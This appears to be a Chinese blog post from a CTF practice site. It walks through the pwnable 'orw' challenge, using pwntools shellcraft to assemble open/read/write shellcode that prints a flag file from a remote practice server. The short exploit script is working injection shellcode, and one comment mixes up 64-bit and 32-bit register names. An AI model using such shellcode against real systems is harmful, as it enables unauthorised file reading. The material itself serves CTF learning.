shellcraft新姿势

本文介绍了如何在限制调用open、read和write函数的环境中,利用pwntools的shellcraft模块构造shellcode,以读取并打印出flag文件的内容。通过学习这个例子,读者可以掌握更多关于shellcode编写技巧和pwntools库的使用。

pwnable_orw
exp 脚本
这道题的难度在于只能调用 open read 和 write ,学到了 shellcraft 新的使用方式
from pwn import *
io = remote(‘node3.buuoj.cn’,25539)
context.binary = ‘orw’
elf = ELF(‘orw’)
shellcode = shellcraft.open(’/flag’)
shellcode += shellcraft.read(‘eax’,‘esp’,100)
shellcode += shellcraft.write(1,‘esp’,100)

shellcode = asm(shellcode)
sleep(0.2)
io.sendline(shellcode)
io.interactive()

这三个函数在pwntools的原型
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在调用open函数后文件描述符fd在rax里,rsp为栈指针寄存器,指向buf

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值